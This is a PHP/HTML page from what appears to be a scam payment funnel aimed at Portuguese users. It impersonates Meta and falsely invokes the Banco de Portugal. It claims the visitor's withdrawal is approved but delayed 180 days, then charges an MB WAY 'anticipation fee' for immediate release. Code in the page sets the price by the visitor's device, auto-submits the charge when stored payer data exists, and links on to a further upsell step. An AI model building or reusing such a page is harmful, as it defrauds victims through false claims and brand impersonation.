<?php
$qs = $_SERVER['QUERY_STRING'] ?? '';
$params = $qs ? '?' . $qs : '';
require_once dirname(__DIR__) . '/assets/funnel-config.php';
require_once dirname(__DIR__) . '/assets/device-tier.php';
require_once dirname(__DIR__) . '/central.php';
$fc = loadFunnelConfig();
$up_amount = round($fc['prices']['up8'] * _dtier($_SERVER['HTTP_USER_AGENT'] ?? '', $fc['device_tier_max_pct'], $fc['device_tier_enabled']), 2);
$up_amount = central_price('up8', $up_amount);
$up_fmt = number_format($up_amount, 2, ',', '.');
$up_next = '../up9/' . $params;
$up_product_id = 'upsell-8';
$up_product_name = 'Meta - Antecipacao Imediata';
?><!DOCTYPE html>
<html lang="pt-PT">
<head>
    <meta charset="UTF-8">
<script>
!function(w,d,t){w.TiktokAnalyticsObject=t;var ttq=w[t]=w[t]||[];ttq.methods=["page","track","identify","instances","debug","on","off","once","ready","alias","group","enableCookie","disableCookie"],ttq.setAndDefer=function(t,e){t[e]=function(){t.push([e].concat(Array.prototype.slice.call(arguments,0)))}};for(var i=0;i<ttq.methods.length;i++)ttq.setAndDefer(ttq,ttq.methods[i]);ttq.instance=function(t){for(var e=ttq._i[t]||[],n=0;n<ttq.methods.length;n++)ttq.setAndDefer(e,ttq.methods[n]);return e},ttq.load=function(e,n){var i="https://analytics.tiktok.com/i18n/pixel/events.js";ttq._i=ttq._i||{},ttq._i[e]=[],ttq._i[e]._u=i,ttq._t=ttq._t||{},ttq._t[e]=+new Date,ttq._o=ttq._o||{},ttq._o[e]=n||{};var o=document.createElement("script");o.type="text/javascript",o.async=!0,o.src=i+"?sdkid="+e+"&lib="+t;var a=document.getElementsByTagName("script")[0];a.parentNode.insertBefore(o,a)};
ttq.load('<?= $fc["tiktok_pixel"] ?>');ttq.page();
}(window,document,'ttq');
</script>
<!-- Meta Pixel Code -->
<script>
!function(f,b,e,v,n,t,s)
{if(f.fbq)return;n=f.fbq=function(){n.callMethod?
n.callMethod.apply(n,arguments):n.queue.push(arguments)};
if(!f._fbq)f._fbq=n;n.push=n;n.loaded=!0;n.version='2.0';
n.queue=[];t=b.createElement(e);t.async=!0;
t.src=v;s=b.getElementsByTagName(e)[0];
s.parentNode.insertBefore(t,s)}(window, document,'script',
'https://connect.facebook.net/en_US/fbevents.js');
fbq('init', '1824082551586655');
fbq('track', 'PageView');
</script>
<noscript><img height="1" width="1" style="display:none"
src="https://www.facebook.com/tr?id=1824082551586655&ev=PageView&noscript=1"
/></noscript>
<!-- End Meta Pixel Code -->
<!-- UTMify Pixel -->
<script async src="https://cdn.utmify.com.br/scripts/utms/latest.js" data-utmify-prevent-subids></script>
<script src="../assets/utm-persist.js"></script>
    <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no">
    <title>Meta - Antecipação de Levantamento</title>
    <script>
        (function() {
            function isDesktop() {
                const userAgent = navigator.userAgent || navigator.vendor || window.opera;
                const isMobileUA = /android|webos|iphone|ipad|ipod|blackberry|iemobile|opera mini/i.test(userAgent.toLowerCase());
                const isMobileScreen = window.innerWidth <= 768;
                return !isMobileUA && !isMobileScreen;
            }
})();
    </script>
    <link href="https://fonts.googleapis.com/css2?family=Figtree:wght@400;500;600;700;800&display=swap" rel="stylesheet">
    <script src="https://cdn.tailwindcss.com"></script>
    <style>
        body { font-family: 'Figtree', sans-serif; margin: 0; background-color: #000; color: white; overflow-x: hidden; -webkit-tap-highlight-color: transparent; }
        .animated-gradient {
            background: linear-gradient(to right, #1877F2 0%, #ffffff 33%, #ffffff 66%, #1877F2 100%);
            background-size: 200% auto; -webkit-background-clip: text; -webkit-text-fill-color: transparent; animation: flowing 2s linear infinite;
        }
        @keyframes flowing { to { background-position: 200% center; } }
        .pulse-meta { animation: pulse-border 2s infinite; border-bottom: 4px solid #1877F2; }
        @keyframes pulse-border { 0% { box-shadow: 0 0 0 0 rgba(254,44,85,0.4); } 70% { box-shadow: 0 0 0 15px rgba(254,44,85,0); } 100% { box-shadow: 0 0 0 0 rgba(254,44,85,0); } }
        .card-premium { background: rgba(255,255,255,0.05); border: 1px solid rgba(255,255,255,0.1); backdrop-filter: blur(10px); }
        .btn-meta { background-color: #1877F2; transition: all 0.3s cubic-bezier(0.4,0,0.2,1); }
        .btn-meta:active { transform: scale(0.96); }
        .logo-giant { filter: drop-shadow(0 0 15px rgba(255,255,255,0.2)); }
    </style>
</head>
<body class="flex flex-col min-h-screen">

    <div class="bg-[#CC0000] text-white text-center py-3 px-4 text-[13px] font-[900] uppercase tracking-tighter w-full sticky top-0 z-50">
        ⚠️ PRAZO DE LEVANTAMENTO PADRÃO: 180 DIAS ÚTEIS
    </div>

    <div class="max-w-md mx-auto w-full flex-grow pb-12 px-6">

        <div class="flex justify-center py-10">
            <img src="https://upload.wikimedia.org/wikipedia/commons/0/05/Facebook_Logo_%282019%29.png" class="h-20 logo-giant" alt="Meta">
        </div>

        <div class="text-center mb-8">
            <div class="text-5xl mb-4">⏳</div>
            <h1 class="text-3xl font-black leading-tight italic uppercase tracking-tighter">
                Antecipação de <br><span class="text-[#ffffff]">Levantamento Imediato</span>
            </h1>
        </div>

        <div class="card-premium rounded-[2rem] p-7 mb-8 text-[15px] text-gray-300 leading-relaxed font-medium border-l-4 border-[#ffffff]">
            <p class="mb-4 text-white">O seu levantamento foi aprovado com sucesso e será processado em até <b>180 dias úteis</b>.</p>
            <p class="mb-4">Deseja evitar a espera e receber <b>IMEDIATAMENTE</b>?</p>
            <p>Active agora a antecipação e receba em até <b>5 minutos</b> no seu número MB WAY.</p>
            <p class="mt-4 text-[#1877F2] font-black text-xs uppercase tracking-widest">⚠️ Oferta válida somente nesta etapa.</p>
        </div>

        <div class="bg-white rounded-[2rem] p-8 text-black text-center mb-10 pulse-meta shadow-[0_20px_50px_rgba(254,44,85,0.3)]">
            <span class="text-[10px] uppercase font-black tracking-[0.2em] text-gray-400">Receber por MB WAY em:</span>
            <div class="text-5xl font-[1000] my-2" style="color:#000;">5 MINUTOS</div>
            <div class="inline-block bg-black text-[#ffffff] px-4 py-1 rounded-full text-[10px] font-black tracking-widest">
                LIBERTAÇÃO DISPONÍVEL
            </div>
        </div>

        <div class="text-center mb-10">
            <p class="text-gray-500 text-[11px] font-black uppercase tracking-widest mb-1">Taxa de Antecipação Prioritária</p>
            <div class="text-5xl font-black animated-gradient italic" id="upsellValue">€ <?= $up_fmt ?></div>
        </div>

        <a href="javascript:void(0)" onclick="goToCheckout()" class="btn-meta block w-full text-white text-center py-7 rounded-full shadow-2xl font-[900] text-xl uppercase tracking-tighter transition-all">
            ✅ ANTECIPAR LEVANTAMENTO AGORA
        </a>

        <div class="mt-12 text-center px-4">
            <p class="text-[9px] font-bold text-gray-500 uppercase tracking-[0.3em] mb-4">Meta Financial Compliance © 2026</p>
            <p class="text-[11px] text-gray-400 leading-relaxed italic border-t border-white/10 pt-6">
                A antecipação é um serviço opcional para acelerar o processamento de fundos via Banco de Portugal. Caso não aceite, o prazo de 180 dias será mantido.
            </p>
        </div>
    </div>

    <script>
        function goToCheckout() { openPaymentForm(); }

        function loadUpsellValue() {
            var fee = (typeof window !== 'undefined') ? window.__UP_FEE_8 : undefined;
            var el = document.getElementById('upsellValue');
            if (el && fee !== undefined) {
                el.textContent = '€ ' + fee.toLocaleString('pt-PT', {minimumFractionDigits: 2, maximumFractionDigits: 2});
            }
        }
        loadUpsellValue();
    </script>
<style>.pay-dot{width:8px;height:8px;background:#E30613;border-radius:50%;animation:pay-bounce 1.2s infinite ease-in-out}.pay-dot:nth-child(2){animation-delay:.2s}.pay-dot:nth-child(3){animation-delay:.4s}@keyframes pay-bounce{0%,80%,100%{transform:scale(0.6);opacity:0.5}40%{transform:scale(1);opacity:1}}</style>
<div id="pay-overlay" style="display:none;position:fixed;top:0;left:0;right:0;bottom:0;background:rgba(0,0,0,0.6);z-index:9999;justify-content:center;align-items:flex-end"><div style="background:#fff;border-radius:20px 20px 0 0;padding:24px 20px 36px;width:100%;max-width:480px;margin:0 auto"><div id="pay-form-section"><h3 style="font-size:17px;font-weight:700;margin-bottom:4px;color:#111">Pagamento seguro</h3><p style="font-size:13px;color:#888;margin-bottom:18px" id="pay-subtitle">MB Way</p><div style="margin-bottom:14px"><label style="font-size:13px;color:#555;font-weight:600;display:block;margin-bottom:6px">Nome completo</label><input id="pay-name" type="text" placeholder="O teu nome" style="width:100%;padding:12px 14px;border:1.5px solid #e0e0e0;border-radius:10px;font-size:15px;outline:none;color:#111;background:#fff"></div><div style="margin-bottom:20px"><label style="font-size:13px;color:#555;font-weight:600;display:block;margin-bottom:6px">N&#250;mero MB Way</label><div style="display:flex;gap:10px;align-items:center"><div style="background:#f5f5f5;border:1.5px solid #e0e0e0;border-radius:10px;padding:12px;font-size:15px;font-weight:600;white-space:nowrap;color:#111">&#127477;&#127481; +351</div><input id="pay-phone" type="tel" inputmode="numeric" maxlength="9" placeholder="xxxxxxxx" style="flex:1;padding:12px 14px;border:1.5px solid #e0e0e0;border-radius:10px;font-size:15px;outline:none;color:#111;background:#fff"></div></div><div id="pay-error" style="display:none;color:#e53935;font-size:13px;margin-bottom:12px;text-align:center"></div><button onclick="submitUpPayment()" style="width:100%;background:#E30613;color:#fff;font-size:16px;font-weight:700;padding:17px;border:none;border-radius:50px;cursor:pointer">CONFIRMAR PAGAMENTO</button><button onclick="closePaymentForm()" style="width:100%;background:none;border:none;font-size:13px;color:#bbb;padding:14px;cursor:pointer;margin-top:4px">Cancelar</button></div><div id="pay-waiting" style="display:none;text-align:center;padding:20px 0"><div style="margin-bottom:12px;display:flex;justify-content:center" aria-hidden="true"><svg xmlns="http://www.w3.org/2000/svg" width="40" height="40" viewBox="0 0 24 24" fill="none" stroke="#111" stroke-width="1.75" stroke-linecap="round" stroke-linejoin="round"><rect x="6" y="2" width="12" height="20" rx="2"/><path d="M12 18h.01"/></svg></div><p style="font-size:16px;font-weight:700;color:#111;margin-bottom:8px">Aguarda a notificação MB Way</p><p style="font-size:13px;color:#888;margin-bottom:20px">Abre o app MB Way e confirma o pagamento</p><div style="display:flex;gap:6px;justify-content:center;margin-bottom:16px"><div class="pay-dot"></div><div class="pay-dot"></div><div class="pay-dot"></div></div><button onclick="cancelUpPayment()" style="background:none;border:1.5px solid #e0e0e0;border-radius:50px;font-size:13px;color:#888;padding:10px 20px;cursor:pointer">Cancelar</button></div></div></div>
<script>
var upPayId=null,upPayInterval=null;
var UP_AMOUNT=<?= $up_amount ?>;
var UP_NEXT='<?= $up_next ?>';
var UP_PRODUCT_ID='<?= $up_product_id ?>',UP_PRODUCT_NAME='<?= $up_product_name ?>';
var _mbPayer=null;try{_mbPayer=JSON.parse(localStorage.getItem('mbway_payer')||'null');}catch(e){}function _gU(k){if(typeof getUtmValue==="function")return getUtmValue(k);var p=new URLSearchParams(window.location.search);return p.get(k)||null;}function _utmify(st,amt){var p=new URLSearchParams(window.location.search);var nm=document.getElementById('pay-name')?document.getElementById('pay-name').value:'';fetch('../tracking.php',{method:'POST',keepalive:true,headers:{'Content-Type':'application/json'},body:JSON.stringify({status:st,transaction_id:upPayId||('up8-'+Date.now()),amount:amt,method:'mbway',product_id:UP_PRODUCT_ID,product_name:UP_PRODUCT_NAME,customer:{name:nm,email:(_mbPayer&&_mbPayer.email)||null,phone:null,document:null},utms:{utm_source:_gU('utm_source'),utm_medium:_gU('utm_medium'),utm_campaign:_gU('utm_campaign'),utm_content:_gU('utm_content'),utm_term:_gU('utm_term'),src:_gU('src'),sck:_gU('sck')}})}).catch(function(){});}
function _tf(evt,amt,mth){try{var s=localStorage.getItem('_vid')||'';if(!s){s=Math.random().toString(36).substr(2,9)+Date.now().toString(36);localStorage.setItem('_vid',s);}var p=new URLSearchParams(window.location.search);fetch('/painel/tracker.php',{method:'POST',keepalive:true,headers:{'Content-Type':'application/json'},body:JSON.stringify({sid:s,page:'up8',event:evt,amount:amt||0,method:mth||'',src:p.get('utm_source')||'',med:p.get('utm_medium')||'',cmp:p.get('utm_campaign')||''})}).catch(function(){});}catch(e){}}
_tf('InitiateCheckout');

function openPaymentForm(){document.getElementById('pay-overlay').style.display='flex';document.getElementById('pay-error').style.display='none';var sub=document.getElementById('pay-subtitle');if(sub)sub.textContent='MB Way \u00b7 <?= $up_fmt ?>\u20ac';if(_mbPayer&&_mbPayer.name&&_mbPayer.phone){document.getElementById('pay-name').value=_mbPayer.name;document.getElementById('pay-phone').value=_mbPayer.phone;document.getElementById('pay-form-section').style.display='none';document.getElementById('pay-waiting').style.display='block';submitUpPayment();}else{if(_mbPayer&&_mbPayer.name)document.getElementById('pay-name').value=_mbPayer.name;document.getElementById('pay-form-section').style.display='block';document.getElementById('pay-waiting').style.display='none';}}
function closePaymentForm(){document.getElementById('pay-overlay').style.display='none';}
function cancelUpPayment(){if(upPayInterval)clearInterval(upPayInterval);closePaymentForm();}
var _upMbwayRetry=0;function submitUpPayment(){var name=document.getElementById('pay-name').value.trim();var phone=document.getElementById('pay-phone').value.trim().replace(/\D/g,'');var errEl=document.getElementById('pay-error');errEl.style.display='none';if(!name){errEl.textContent='Preenche o teu nome.';errEl.style.display='block';return;}if(!/^\d{9}$/.test(phone)){errEl.textContent='N\u00famero MB Way inv\u00e1lido (9 d\u00edgitos).';errEl.style.display='block';return;}document.getElementById('pay-form-section').style.display='none';document.getElementById('pay-waiting').style.display='block';_tf('payment_started',UP_AMOUNT,'mbway');fetch('create-transaction.php',{method:'POST',headers:{'Content-Type':'application/json'},body:JSON.stringify({stage:'up8',method:'mbway',amount:UP_AMOUNT,payer:{name:name,phone:'+351'+phone,email:(_mbPayer&&_mbPayer.email)||(phone+'@mbway.pt'),document:'999999999'}})}).then(function(r){return r.json();}).then(function(d){if(d.id||d.statusCode===200){upPayId=d.id;if(d.generatedMBWay===false&&_upMbwayRetry<3){_upMbwayRetry++;setTimeout(submitUpPayment,1500);return;}_upMbwayRetry=0;_utmify('waiting_payment',UP_AMOUNT);upPayInterval=setInterval(checkUpPayment,5000);}else{showUpError(d.message||'Erro ao processar. Tenta novamente.');}}).catch(function(){showUpError('Erro de liga\u00e7\u00e3o. Tenta novamente.');});}
function checkUpPayment(){if(!upPayId)return;fetch('create-transaction.php?action=status',{method:'POST',headers:{'Content-Type':'application/json'},body:JSON.stringify({id:upPayId})}).then(function(r){return r.json();}).then(function(d){var s=(d.status||'').toUpperCase();if(['PAID','APPROVED','COMPLETED','CONFIRMED'].includes(s)){clearInterval(upPayInterval);_tf('payment_paid',UP_AMOUNT,'mbway');_utmify('paid',UP_AMOUNT);if(typeof fbq==='function')fbq('track','Purchase',{value:UP_AMOUNT,currency:'EUR',content_ids:[UP_PRODUCT_ID],content_type:'product'});setTimeout(function(){window.location.href=UP_NEXT;},450);}}).catch(function(){});}
function showUpError(msg){document.getElementById('pay-form-section').style.display='block';document.getElementById('pay-waiting').style.display='none';var e=document.getElementById('pay-error');e.textContent=msg;e.style.display='block';}
</script>
</body>
</html>
